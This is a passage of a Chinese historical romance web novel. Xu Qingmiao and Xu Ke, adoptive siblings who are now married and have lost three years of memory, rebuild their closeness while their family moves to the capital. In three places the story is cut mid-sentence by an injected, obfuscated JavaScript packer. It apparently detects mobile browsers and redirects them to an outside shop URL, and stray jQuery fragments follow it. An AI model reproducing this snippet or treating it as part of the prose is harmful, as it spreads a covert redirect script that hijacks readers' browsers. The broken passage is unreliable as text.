许清莲抽泣的泪水被风吹干了,原本灵动的眼睛呆愣地望着许清妙,突然惊恐道:“不是?难道你们俩早有私情?” 许清妙吓得赶忙用帕子捂住她的嘴,“没有,没有,你不要乱说。” 她怎么可能在不知道身世前跟自己堂哥有任何情爱纠葛,那是不可能的,肯定是知道了身世后,才有了后续的发展。 许清莲挣扎着推开她的手,头上步摇轻晃,微恼道:“三姐,不是就不是嘛,你干嘛这么激动,我的唇妆都被你蹭掉了。” “但是话又说回来,就算你们是为了某种原因成亲也不是什么不可接受的事情嘛。” 说完,许清莲一脸神秘的凑近她耳旁,低声说道:“你还记得我的闺中好友贺九娘吗?她年前成亲了,嫁给了她表哥徐大郎,徐家需要贺家助力,她自己看中的是她姑母这个婆母,嫁过去后不受婆母磨搓。” 许清妙随口道:“那她也要怀孕生子延续香火吧?” 许清莲连连摇头,“她婚后立马给他表哥纳了两房妾室,婆家谁也没话说,如今那两房妾室都有孕了,她只需要抱过孩子来自己养就成了。” 许清妙震惊道:“她不怕以后她表哥宠妾灭妻吗?” 许清莲眼里流露出些许羡慕:“贺家势力比徐家强太多了,她表哥这辈子都不可能宠妾灭妻。” “而且,我听一些夫人太太说在京城里的公主贵女,她们要是不愿生孩子那都是让妾室生,有些狠心点的还直接去母留子,心肠好点的就打发妾室去别院住。” “啧啧啧,我要是能这样就好了。” 许清妙倒不羡慕,她还是渴望皎月流光般纯粹绚烂的感情能开花结果,有自己的血脉延续。 听到许清莲最后的感叹,许清妙连忙打断她:“五妹妹,不是所有人一出生就是公主贵女。” 许清妙见她都有心思讲别人闲话了,这分别的情绪去得可真快。 “走吧,跟我先去见见祖母吧,大伯娘这会正忙着见各铺子掌柜,午饭前才得空。” 许清妙喊上回避出去的婆子丫鬟,领着许清莲往荣锦院去了。 许清莲是许家二伯许晃的嫡女,许晃常年在各地做官任期长短不定,于是将她送回了云田让老太太和王氏教养。 而许清莲亲娘贾氏也是个看得开的,将女儿丢在了老家就不怎么过问。 姐妹俩从小一起在云田长大,关系最为和睦。她们家五个女郎,大姐二姐是王氏嫡出,早就成亲嫁出去了。四妹妹是二房庶出,跟她们俩也不怎么玩得来。 一路上姐妹俩有说有笑,许清妙突然有种时光悄悄走远而她停在了原地的撕裂感。 许清莲感兴趣的已经不是吃什么玩什么,而是如何打扮让郎君觉得好看,怎么管束妾室让她们更守规矩。 对于这些许清妙提不出什么好的建议,只能做个安静的听众了。 “怎么不说话呀,是我哪里说错了吗?”许清莲停下脚步看着她,一双眸子里全是不高兴。 “没有,你说的都挺对的,郎君哪有不喜欢美妾的呢,昨日里在祖母院子里喝顿酒,二哥还收了个丫鬟呢。”许清妙不想扫兴,就着她的话头说。 “啊?快说说那丫鬟是不是很漂亮,我见没见过......” …… 丝毫不知道成了话题人物的许意正和许恪在前院外书房议事。 外书房是他们许家郎君读书办公的主要地方,如今虽然大部分时间不在家,但里面依旧是原来的模样,整墙的书架上摆满了各种书册,有他们幼年读过的,也有他们感兴趣或不感兴趣的,全部整整齐齐摆放着。 另一侧墙上则挂着一副字画,老爷子亲笔所题“信者吾信之,不信者吾亦信之”。 凌云健笔,挥洒纵横。 字画下方的四方椅上,许意一双桃花眼里盛满了隐忍和不甘,静静地看着许恪说话。 只见许恪一身墨色圆领阑袍肃立在书桌前,双手背在身后,声音清冷有力。 “你既然不愿涉猎官场,那最好不要想着做官商,做了官商就势必与朝堂官员牵扯,这里面的尔虞我诈不是你可以应付得来的。” 许意不甘道:“大哥说的道理我都明白,可是就这么放手实在是不甘心,我花了三年时间才建立起来的销路就因为对方是官商我就得让给他,实在可恨。那当地的狗官还威胁我。” 许恪听他这般说话,冷冷地看向他:“我们也是狗官吗?” 许意自知说错话,连忙站起身来认错:“大哥,我也是气头上嘴瓢了,你别跟我计较。” “我们家读书取仕的子弟都是为官一方,你这么信口开河要让祖父听到了非家法伺候。” “况且,难道你要跟官府斗不成?我劝你尽早见好就收,跟管事的官员争取最高回报才是你该做的。” 许意听不进去,他厌恶这些潜规则。 “嗯,我会好好想想。” 许恪见他服了软,也温声劝道:“等进了京城,你再做另一路打算,官商没有表面那么光鲜,官员也没你想的那么丑恶。” 许意点点头,只能自我安慰:既然自己选择了商人这条路,就得承受这些苦难,士农工商,谁让他选了最末端呢。 “大哥,你现在跟三妹妹好吗?”许意不想再谈公事,便找了个自己感兴趣的话题。 许恪眼底闪过一丝意外,模棱两可地回道:“怎么算好?” 许意自嘲一笑:“自然是琴瑟在御,莫不静好了。” “二弟怎么会这样认为?” 许意抬起有些疑惑的眸子看向许恪:“大哥当初为了跟三妹妹成亲,可是在祠堂里跪了三天三夜呢,只一句非卿不娶,感动得三妹为了你宁愿换了娘家。” “我以为你们应该是一生一世一双人了,难道还有其他顾虑?” 许恪听后挤出些笑,意味不明道:“自然是恩爱相不负的,只是二弟怎么关心这些了?” 许意自知问过火了,只冷硬说道:“不过是我自己不信什么非卿不娶罢了,所以好奇你们如此艰难在一起后是不是真的情比金坚。” 许恪听出来了他话里的嘲讽,只淡淡笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053547|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不纳妾不好女色,她就是我这辈子唯一的女人,懂了吗?” 许意愣在原地,大哥他一个彻头彻尾的封建传统男人居然说出他能一辈子只有一个女人这种话来。 要知道在大雍朝普通士族官员几乎都是三妻四妾外面还外室知己不断,养一个女人对他们来说太容易了,比养匹好马还简单。 他不信。 许意脸上浮现一些自嘲的笑意,很快又收敛了,拍了拍头,“大哥,我希望你能说到做到。” 许恪不在意他那点浮动又异常的心思,“自然,我向来言出必行,不像你总喜欢耍赖。” 许意:“......” “大哥,我现在做生意最讲诚信了......” 许恪懒得理他,收了公文转身就出了书房。 一路回了青云院。 · 青云院内,杏花满枝,风吹如雪。 许清妙陪着许清莲在老太太屋里用了午饭,老太太留下许清莲说话,她便回来午休。 她见厅里并无用过餐食的痕迹,便问道“宁妈妈,翰林没有回来用饭吗?” 宁妈妈正在院子里绣鞋样,连忙起身回道:“少夫人,翰林让人来回话了说午膳在前院和二郎一起用过了。” “哦,待会他回来了记得喊我,我先去午休了。” 许清妙交代完便打着哈欠回了内室,鹊枝跟着一旁替她打了水洗脸。 许清妙瞧着鹊枝越长越标致的脸蛋笑道:“鹊枝,你可有心仪的郎君,我可以为你做主。” 鹊枝一点不害臊地回道:“小姐又逗我,心仪的郎君哪有小姐待我好,鹊枝我早想明白了,就给小姐当丫头伺候一辈子,才是过得最安稳的了。” 许清妙有些心惊,曾经胆小老实的小丫头怎么会有这样的想法? “谁教你这么想的呢?” 鹊枝低着头拧帕子:“不是小姐你自己说的吗?你说女子一辈子不能只局限于内宅方寸之地,应该有自己的天空。还说比起嫁到外面吃苦受罪不如跟着你吃香喝辣。” 许清妙面露惊疑,这是她会说的话? 这三年她到底是怎么变得这般见识非凡的。 她明明只是个不甘于婚姻摆布的可怜虫呀。 “小姐擦擦脸吧,等翰林回来了你就睡醒了。小姐,你养好精神晚上还是主动点吧,早日生下小郎君就没人能说三道四了。” 许清妙拿着擦脸巾看向她,“你说什么?” 鹊枝没听出她的质问,只解释道:“小姐,你都好几天没跟翰林同房了,本来我不想说的,但一想到刚才五姑娘说的那些话,我就觉得还是得提醒你下。” 许清妙脸上、耳后像被霞云浸染,红彤彤的烂漫一片。 “鹊枝你闭嘴,快出去。” 她丢下巾子,捂着脸扑进了床铺里,她想不清楚为何这般害臊,可脑海里浮现的是一幕幕许恪的身影,清醒时裸露的胸口,餍足的表情,黑暗里如炬的眼神,还有那些不动声色的小动作。 她根本没法只当他是哥哥。 鹊枝看她不好意思了,笑道:“小姐,你又不好意思了,真像刚成亲时见到翰林的样子。” 许恪踏进屋里听到的就是鹊枝这句“真像刚成亲时见到翰林的样子。” 12. 第 12 章 屋里一下子安静得只有风吹过的声音。 许清妙听见许恪进来的声响,手忙脚乱扯过绣帕罩住了脸,不想被他看到自己红透的脸。 鹊枝看了眼在床上当乌龟的小姐,叹气道:“翰林,是奴婢正跟少夫人开玩笑呢。” 许恪走近,看了眼背对着他的身影,了然地点了点头。 “下去吧。” “是。” 等到关门声响起,许清妙脸上盖着绣帕,侧耳仔细地听着屋里动静,许恪的脚步声进了隔间浴房,里面传来水声。 轻轻叹一口气:“呼!真羞人!” 她拉开帕子往窗口瞧了瞧,午后阳光斜斜照进屋里,正是大好时光,许恪这个时辰怎么回来洗漱了。 以他的作息规律,这个时辰他不是在书房看书就是在外院午休,惯常不会跑回内院午睡的。 她一时胡思乱想,不知不觉竟然真睡了过去,连许恪几时出来的都不知道。 换下了外袍的许恪褪去了严肃,额角的鬓发被水打湿带出几分不羁,出来一眼瞧见的就是盖着绣帕睡得正香的许清妙。 他系上衣带踩着些许日光走过来,俯身伸出手揭开那绣着并蹄莲的粉色绣帕,只见许清妙睡得两颊粉润,憨态可掬。 许意说他忤逆父亲跪在祠堂三天三夜,就为了娶她,听起来不像他会做的事情,但此刻看着她这般放松地睡在自己的寝房,似乎一切又合情合理。 他转身坐在了窗前的软榻上,本是因为听了许意的那番话才突然回院子想看看她,结果她大概是为着某些事害羞了,遮着脸不看他。 那他还是不要吵醒了她,拿了本她常看的杂记翻了翻。 文章写得缥缈诗意,将自然风光描绘的如诗如画,难怪得她青睐,他看了几页忍不住抬头看了看睡着的人。 一时只觉岁月静好。 明媚的阳光渐渐变得寡淡,床幔轻动,许清妙渐渐醒了,浑身暖烘烘的,抬眼望去许恪手持书卷看得入神。 清爽的额发微微垂下,少了几分规整,眉目冷清,神情却格外柔和。 哥哥他此刻怡然自得。 许清妙不知不觉这般看着他走了神。 * 许家的孩子四岁启蒙,六岁开始上族学,十二岁前小女郎和小郎君需要一起去族学书堂读书识字。 八岁的小清妙,每日天光未明时被宁妈妈早早地从床上挖起来,扎上两角髻绑上彩色的丝带,小小的人儿背着布书袋睡眼朦胧地跟着兄弟姐妹们一起上族学。 族学的夫子是位德高望重的大文豪,教学严厉却很有风度,总是能用令他们心服口服的方式惩罚他们。 许清妙读书识字尚可,但礼和乐总学不会,受罚总有她的份。 她觉得夫子太难对付了,他总有办法让她乖乖认罚。 每次她嘟着嘴乖乖受罚,最年长的长兄许恪都是被夫子夸奖的那一个。 夫子这般说道:“你们要是能有许恪做的一半好,下次必然不用受罚。” 许清妙默默地看向许恪,明明才十一岁的单薄少年却背脊挺得笔直,像一杆长矛威风凛凛、锋锐彻骨。 她记忆里见到长兄,从来都是严肃认真,端方有礼,从没见他出过错,更没见他发过火。 冷清而自持,如现在这般怡然自乐地看着她的闲书,从未有过。 不知是她的看得太久还是他终于从书中回了神,两人的视线终于不期然地对上了。 许恪先抿出笑意,接着慢慢扩大到唇角微翘。 “睡得好吗?” 许清妙点点头,“你怎么不午睡?” 许恪放下手里的手站起了身,看着她道:“见你睡得香不忍吵到你,况且你这书确实不错,不知不觉看了不少。” 许清妙望向那本《栖霞游记》,暗道:真有这么好看吗?她都没看几页。 不过,既然哥哥说不错,那肯定不错,等有空她再翻翻看看。 “哥哥,我今日听五妹妹说起一件事,想着说给你听。” 她记起睡前想跟他说的事情,连忙坐起身来,脚下蹬上软鞋。 许恪走近床前,扶着她在桌前绣凳上坐好。 “不急,先喝口水慢慢说。” 他自己也是有话跟她说的。 许清妙端着他递过来的水杯喝了一口,拉着他也坐下。 等两人都坐好了,她才正色道:“哥哥,我听五妹妹说,我们成亲是事先商量好的一场交易。” “你觉得是吗?”许恪眼睛专注地看着她,绣着稚儿嬉戏图的锦缎搁在一旁,很久无人问津。 许清妙摇了摇,“我不知道,但我向五妹妹否认了,她说她听到了我们的谈话。” 许恪默了片刻,抬起修长有力的手臂放在桌上。 “三娘,你虽然否认了,但还是信了她说的对吗?” 许清妙缓缓点了点头:“嗯,我觉得她不会撒谎。” “五妹自然不会骗你,但也有可能她听到的只是一部分,或者即便她听到了全部,但事实上我们并没有这样实施。” 许恪眼睛定定地看着她,所有情绪都在他的眼底。 “三娘,这三年我们很恩爱,你不用担心这些不再重要的事情。” “我会查清楚的,不会让你不明不白的跟我在一起。” 许清妙没想到他会这样向她承诺,“哥哥你真好,可是我真的好想知道我到底是谁的孩子,我们又是如何才成亲的,至于其他我相信自己的感觉。” 她微微垂着头,望着他身上随手系的衣带上,有迷茫不安也有些许不确定。 许恪伸出手握住了她的双手,柔柔细腻,他本意是安抚她,却在握住那一刻突然觉得心头悸动。 他喜欢这样握着她的手。 许清妙惊讶地抬头看他,他们天天睡在一张拔步床里,虽偶尔被他抱着安抚,但还是第一次在白日里被他握住双手。 心跳不自觉地加快,她觉得自己睡觉前红透的脸颊又开始发热了。 “不用担心,我们都会弄清楚的,你要不要听听我从二弟那里得来的消息。” 许清妙果然期待地看着他:“二哥知道什么呀?” 许恪捏了捏她的手,轻轻笼在他的手心,宽大的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053548|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌包裹着她的小手。 “他说你为了嫁给我宁愿放弃当许家的女儿,过继给了远方的表姑王氏。” 表姑是大伯娘堂叔的女儿,远嫁在胜州,她过继相当于就是走了个流程,跟那边王氏的婆家杜家根本不熟,日后真有什么事情根本帮不上。 总之这个娘家就是个摆设。 大雍朝,女子在婆家的地位往往取决于娘家的势力,嫁妆子嗣这些都是其次。 而许清妙过继到杜家王氏名下相当于再无娘家可回,这何尝不是孤注一掷的冒险。 万一呢? 许恪简直不敢细想,他懂得这是怎样的牺牲,只要她不嫁给自己,许家就还是她的娘家不管有没有血缘,他们家都是认她的。 “噢,胜州表姑我小时候见过的,是位很和气的夫人,她对我肯定不错。何况想要嫁给哥哥自然要有合适的身份,我觉得不算什么牺牲。” 许清妙不想看到哥哥眼里那快要溢出来的自责。 许恪握着她的手,摇了摇头,“傻子,还想着安慰我。” 他自然省去了跪祠堂那段,他受的这点责罚根本算不得什么。 许清妙圆圆的眼睛微微眯起,煞是认真地否认:“才不是安慰,我知道你肯定付出了某些我们还不知道的代价,更何况嫁给哥哥我好像过得很不错。” 吃着自己喜欢的饭菜,手里管着他们的小家,喜欢什么买什么,一切都是按着她的喜好,他还没有侍妾没有在外面沾花惹草,最重要的他还带着她到处游玩。 她从来不敢奢望如此圆满,而他本身那点小小的旧疾根本不算什么。 “还好你觉得过得不错,不然我都不知道该怎么补偿你。” 许恪终于露出了浅笑,他被她的话宽慰更被她的情绪感染。 她高兴,他就都可以。 许清妙回握着他的手指摇了摇:“等空闲时带我重新到处走走,好吗?。” “好。” * 夕阳西下,落日余晖照在许家大门,许清莲擦着眼泪出来,许清妙和许恪许意兄弟一起将她送到了门外。 “你们一路上照顾好自己和祖母,等到了京城一定第一时间给我写信。” 许清莲握着许清妙的手,泪眼汪汪地看着两位兄长。 许恪点头应下:“五妹放心。” 许意接话:“五妹妹别哭,二哥隔几个月就回来一次,定给你带京城的新鲜玩意,保准你喜欢。” 许清莲破涕而笑,“讨厌,二哥破坏气氛。” 许清妙:“……” 这妹妹情绪真是来的快去的更快。 送走了许清莲,许意也跟着出了门,“我约了朋友喝酒,晚上让门房给我留门了。” 日落月升,星河闪耀。 内书房书案前,许恪秉烛写就了一封长信,拜托正在袁州做知州的同窗打探许意的事情。 如果有办法挽回他还是得帮许意挽回,官场上权势倾轧,却左右不过关系往来,能帮忙他自然要保护弟弟的正当利益。 京城里的情势更复杂,到时候他恐怕腾不出时间来帮他。 13. 第 13 章 晴日生暖风,方知已立夏。 立夏那日,许家车马从云田出发一路向东,三日行车,七日行船,一路上舟车劳顿,但好在其乐融融。 车队停靠在官道驿站补给,往来人马络绎不绝,胜在各不打扰。 这次搬去京城,丫头婆子大部分留在了云田,老太太和王氏只带了各自用惯了的少数奴仆,许清妙则比回乡时多带了个合眼缘的小丫头回京。 王氏和老太太一辆马车,香云跟车随行侍候,许清妙和许恪一辆车,不过白日里许恪都是在外头与许意一起骑马赶路。 “小姐,我听说二公子带了两个通房上京呢,云竹和一个叫俞娘的小娘子。” 鹊枝一闲下来就歇不住嘴,凑着她耳边说悄悄话。 许清妙一脸茫然,“俞娘是哪个?” 鹊枝笑道:“小姐当然不认识,那是二公子在外面喝酒时带回来的歌女,听说身世可怜二公子动了恻隐之心就给赎了身。” 许清妙暗道,二哥可真是心软的神,多情的种。 眼看着车队停的时间过长,马车里闷热开始坐不住了,许清妙撩开车帘看向外面。 只见一绿衣女子正站在马车旁透气,许清妙好奇地看着她。 鹊枝凑近小声道:“小姐,她就是俞娘。” 许是察觉了她们的视线,那姑娘看了过来,清秀干净如出水芙蓉,遥遥地朝她行了个问好礼。 “她看起来不像风尘女子。” 许清妙嘟囔道。 鹊枝不以为意:“小姐,这样没有风尘味的才叫郎君动心嘛。” 许清妙嗔道:“你倒是懂这些,可别说是我的丫头。” 鹊枝懊恼,连连解释:“小姐欺负人,明明是奴婢为了帮小姐才去了解的,那京城里秦楼楚馆多不胜数,翰林又太出名了,总有些不知羞耻的风尘女子写诗仰慕翰林,奴婢怕您被人欺负才多向人打听来着。” “啊?” 许清妙惊掉了下巴,长兄那副冷冷淡淡的模样怎么会惹了风尘女子青睐。 她看话本里误入风尘的女子渴望的要么是能给她温暖的情郎,要么是能给她钱财保障的依靠。 她长兄除了长得好有才华,这两样都给不了的。 “她们看上哥哥什么了?” 鹊枝叹息,“小姐真是健忘,当初翰林带着你从云田回到京城时,长公主想将嫡女许给翰林,翰林称心有所属给婉拒了,结果长公主怀恨在心就派人散布翰林多情风流的谣言。” “再后来你们成婚,翰林又当场写下一首极其缠绵的迎亲诗再次名动京城,从此风流多才的名声就传下来了。” “不知道多少闺阁女子心生羡慕,她们倒是知羞耻懂分寸,可那些风尘女子就不同了,看着娇滴滴的实则大胆的很,遇到翰林敢上去抛媚眼丢绣帕。” 许清妙听了这么久,只有一个念头,她想知道哥哥写了什么迎亲诗,惹得情动京师。 “哥哥写的那诗你背的出来吗?” 她故作考教般不经意问鹊枝。 可惜鹊枝一脸茫然道:“小姐,我字都不认得几个,那诗引经据典的我哪里背的出来呀。” “而且,听三爷说这诗写的太缠绵了,大爷听说后脸都黑了。” 许清妙难以想象凭哥哥的性子怎么可能做出这种事来。 说话间,许恪骑着棕色高头马靠近,“三娘,可有不舒服?” 灼灼烈日照在他身上,成年后他的身材修长矫健,坐在马背上英姿勃发,在外人面前,他跟大伯真的好像,一样的严肃不苟言笑。 看向她时,眼底才有点笑意。 “哥哥,我一切都好,你累了吗?要不要进车里歇会。” 许恪抿唇勾了勾嘴角,“不用,马上就补给好了可以出发了,你在车上累了就多睡会。” 隔了一会他低声道:“晚上带你看星星。” 许清妙圆圆的眼睛如亮晶晶的珠宝,脆生生道:“好。” 这是昨日夜里她犯困时迷迷糊糊所提的要求,她要在野外看一次晚上的星星。 许恪打马走远,那不远处的俞娘也不知何时上了车,正隔着车窗看向她。 许清妙不明所以,没有理她,放下帘子准备好好养精蓄锐。 “鹊枝,好好休息,晚上给我放风。” * 离云东道几千里远的大雍都城,是一座不夜城。 晨光熹微,华灯方熄。 东城门外,食肆酒铺的借宿旅人纷纷起身,赶在城门开启那一刻进城。 城门内,一队身穿软甲、挎着腰刀的禁军威风凛凛地穿街过市。 早食摊上的食客见怪不怪,就着卤得软烂的猪下水卷着烧饼吃得狼吞虎咽,风卷残云。 填饱肚子后,汉子们也不急着离开,竟然高谈阔论起京中近闻。 “听说了吗?吕相向官家告老还乡了,这几日就要启程回胜州老家了。” “早听说了,你这都是旧闻了,现在都传吕相是被他的门生韩副相逼走的?” 众人听了哈哈大笑:“真是教会徒弟饿死了师傅咧!” 众人说笑肆无忌惮,只因这城中只要不是谈论官家是非,基本没人管。 相爷权势再大那也是走马观花,短短几年换了一个又一个,而且朝堂派系林立,谁也不敢蠢到因为百姓几句调侃动怒反而给政敌留下把柄。 走过的禁军对此也稀疏平常,只要不生乱没人乐意去多事。 许琏身穿软甲,头上绑着银色护额,手扶腰刀,走在禁军的前列,他听了这些话皱了皱眉。 吕相辞官回乡他不清楚,但那韩副相乃自己大哥的恩师,绝非忘恩负义之人。 巡逻结束,他捡了空隙骑上高头马匆匆回了趟家。 许家在京城的宅子位于崇岚坊,离皇城不远不近,宅子里现在住着刚进京的许老大爷,及许老大许老三两家人。 许琏是许老二的嫡子,文武俱佳,却不喜文官集团的互相撕扯,自愿去了禁军戍守皇城。 本来他不爱管这些文人的斗争,但这事很可能关系到他大哥,那他还是得回去说一声。 时辰尚早,许家前院父子几人正聚在一起用早膳。 许琏进了厅里,行了礼打招呼,如常坐下吃喝。 席间没什么言语往来,安静用饭。 等到都吃的差不多了,他才清清嗓子问道:“大哥可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053549|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要从云田回来了?” 许老爷子没吭声,许老三许驰笑道:“半个月前信上说出发了,这几天应该快到了,他带着女眷走不快。” 许老三乐呵呵的,马上能见到许清妙了,他心情很不错。 许琏看向许驰笑道:“三叔是想见三妹妹了吧?” 许老三笑眯眯点头,马上又收敛了,瞥了眼面无表情的老大和入了定般不动声色的老爹。 “琏儿该叫大嫂,礼不可废。” 许驰挺直了腰,一副很严肃的样子。 许琏无奈点头,“我今日巡逻听坊市间在谈论韩相和吕相不和之事,不知道会不会影响到大哥?” 许驰闭嘴没吭声,他也搞不大清。 两人都将目光投向了正在漱口的许坚,只见他不慌不忙收拾完才看了他们一眼。 “等他回来你们自己问他,这官职调到哪还看他自己怎么选。” 许老大说完,向老爷子行了礼就出门了,没有半句多余的话。 许琏又看了看老爷子,不解道:“祖父,伯父这是还在生大哥的气吗?” 老爷子摸了摸胡子,模棱两可道:“生气就不会搭理大郎的事了,不生气就不是他许大郎了。” 许琏:“……” 祖父这话说了跟没说有什么区别吗? “三郎不用去当值?禁军可不能玩忽职守吧?” 许琏知道祖父这是嫌弃自己多事了,连忙起身告辞:“孙儿这就去当值,您老吃完让三叔送您去衙门。” 谁让他们家现在就三叔最闲。 因为皇帝常年养病,不喜欢接见谏官,当然更不想见三叔这个向来啰嗦的五品给事中。 许驰并不觉得侄儿逾越,反而点头应下:“待会我亲自送爹去衙门。” 许老爷子本祥和的脸拉了下来:“我还没老到需要你来送,派人去码头守着及时接应他们。” 老爷子常年锻炼,身康体健,说完起了身,健步如飞地走了。 * 夜里繁星闪烁,许家车队进了客栈住宿,老太太用过饭早早睡了,锦棉给老太太守夜。 王氏叫了香云和云竹进屋伺候按摩,其他的婆子丫头收拾整理。 剩下许清妙看了眼许恪,眼中暗示意味太明显。 许意瞧见了,哼道:“三妹妹跟大哥要去哪?带我一个。” 许清妙故意纠正道:“叫大嫂我就告诉你。” 许意不依,还想逗她。 一直不在意这事的许恪突然发话:“还想不想拿回袁州的生意?” 许意立马精神道:“当然想。” “那叫声大嫂。” 许意咬牙,虽然心里释然了,可大哥也太为难他了。 但那条生意做好了,获利巨大。 没一会,他就别别扭扭地叫了声:“大嫂。” 许清妙捂嘴大笑,“哎,二哥可太好玩了。” 许意气得瞪眼,许清妙才不怕他。 笑闹间碰到许恪的眼神,温柔而包容如瀚海星空。 原来他是故意为难许意让她开心的。 突然,她更期待去看星星了。 就他们俩去。 14. 第 14 章 晚风习习,月儿半隐,漫天繁星闪烁着神秘的光芒。 “好美,跟我在院子里看到的星空完全不一样。” 许清妙身披月白色披风,梳着斜云髻与许恪并肩站在离客栈不远的斜坡上,抬头望向满天璀璨星辰,如痴如醉。 许恪一身黑衣融进了夜色里,不急不忙地跟在她身旁,一只手牵着她,偶尔也抬眼仰望星空,但更多数时候总是不由自主低头看向她的笑眼。 那比星辰还耀眼。 “星垂平野阔,庭院里看到的确实拘束些。三娘喜欢,到了京城我们可以去近郊的玲珑山观星台,那里的视野观星会更好。” 他想在京城任职的这三年里,他肯定也带她去过,他们像普通的夫妻般恩爱,带着她游历山水。 许清妙站定转身看他,星眸闪耀:“哥哥,你去过观星台吗?” 许恪笑着摇头:“现在的我是没去过的,过去三年我想我们应该是去过。” 许清妙眨了眨眼明白他说的意思,他们肯定不止去看了星星,还看过更多山川风景。 “哥哥我今日听说了一些事情,你要不要听听?” 许恪点点头,轻声道:“你说。” “听说长公主当初想将嫡女嫁给你,但你婉拒了,后来京里就传出你风流的谣言,也不知道这几年来,长公主还怪罪你吗?” 她不知道长公主为人如何,但她知道得提醒哥哥,他也没有这三年的记忆。 许恪听完一愣:“应该不会,婚姻之事不可强求的道理她应该懂。我被点为状元后,长公主确实派人来接触过,但并没有明确表示联姻意向,至于后来发生的事情,只要不是跟朝廷大事牵连,她都管不到我。” 许清妙欲言又止,有点犹豫要不要告诉他在迎亲时写过很“缠绵”的催妆诗。 许恪眼睛一直看着她,知道她还有话说,也不催她就安静地看着她。 她拉了拉俩人牵在一起的手,他便懂她的意思,温声道:“说吧,没事。” 许清妙低头看着他的衣襟处,不自在道:“鹊枝说你因为迎亲时写了首缠绵的催妆诗风靡京城,才坐实了风流才子的传闻。” 许恪安静地听她说完,略沉思片刻说道:“不要担心,一首诗而已影响不大。你是不是想知道是什么诗?” “啊?不,我没有,我就是好奇而已。” 许清妙感觉越解释越解释不清,最后只能轻声嗯了一声,反正哥哥都给她写情诗了,她想看有什么奇怪么? 许恪喉结滚动,低头看着自己以前其实并不大注意的妹妹,他所有的精力都给了读书科考,只有偶尔会想起家中的妹妹们,当然印象最深刻的便是三妹妹了。 她从小长得圆润可爱,胆小却还挺有主见,不出头也不落后,或许是从小没有亲娘在身边,她总是乖乖的。 为了不麻烦家里人,很少提出什么要求,更别说对他这个成年后不常见面的兄长了。 “等到了京城我们自己的府里,我找找看,应该会有存档。” 他写催妆诗大概是提前准备了的,家里肯定还收着手稿。 许清妙脸上有些热,斯文地回了声好。 “三娘,我能抱抱你吗?” 许恪声音轻柔,高高的个子略弯着看向她,她个子太矮,只到他的胸口,这会因着害羞更是低头不敢看他。 许清妙不意外他这么说,因为俩人不知何时站得好近,她低垂的眼睛一直看着他胸口。 此时此刻,夜风微凉,她也想抱抱他。 “嗯。” 得了她的应允,许恪缓缓展开双臂先环住她的肩膀,轻轻地将她笼进怀中,温香软玉,沁人心肺。 许清妙的脸靠在了他的胸口,清凉的布料也冷却不了她滚烫的脸颊,手指展开又握紧,最后还是大胆地伸出手臂搂住了他的腰。 许恪不由一颤,轻柔的手臂紧紧地搂着他的腰,手心贴在后腰,酥麻一片,他有些不淡定了。 喉咙滚动想开口提醒,又忍下了,只是环着她的手收紧,将她紧紧搂进了怀里,再不留间隙。 一时间谁也没说话,空气好像都变得稀少,许清妙不由深吸了一口气,鼻尖全是许恪身上的味道,清爽的皂香味,没有时兴的熏香,和他这个人的气质一样简洁干练。 许恪却不大敢呼吸,他每吸一口气都是她发间的香味,不像脂粉味,香香的淡淡的,很好闻,像夏日的荷香又像冬日的梅香。 他很喜欢。 俩人从僵硬的抱着,到渐渐放松的抱紧,不知道抱了多久,直到许清妙笑出声来。 “哥哥,抱着你感觉真好。” 许恪低头看她,轻声道:“我感觉也很好。” 许清妙将脸埋进他怀里,再次害羞地蹭了蹭,“你不要说出来。” 许恪无奈笑道:“三娘得习惯,我以后会说的更多。” 夫妻不是兄妹,是需要灵魂沟通的,也是需要身体交流的,他会让她慢慢习惯慢慢喜欢。 他不急,一切以她的状态来慢慢适应。 “回去吧,再晚风大仔细着凉。” 俩人手牵着手往回走,许清妙脸上的温度一直没降下来过。 这一晚俩人盖着同一床被子,许清妙枕着他的手臂睡得香甜。 许恪却意外的失眠了,他前几日晚上也抱着她安抚过,今晚却觉得有些不同,他悸动得难以入睡。 安抚她时,他是单纯地想让她不要怕,想告诉她一切有他。 可今晚不再是为了安抚她因为客栈床太小放不下两床被褥,她跟他睡进一床被子里。 她浑身软绵绵地靠着他,温热的体温贴在他身侧,他觉得像烤火一样,又舍不得推开。 更可怕的是,他察觉到某些早上才有的反应出现了。 他成年了,自然知道是怎么回事,更何况两人早有夫妻之实,身体上的熟悉程度远远超过他的预计。 很久很久,脑海里只有一个念头:明日不能这般任她贴着自己睡了。 · 官道上的客栈是一座二进的大院子,许家人都住在前院,早上天刚蒙蒙亮,院子里响起剑啸声。 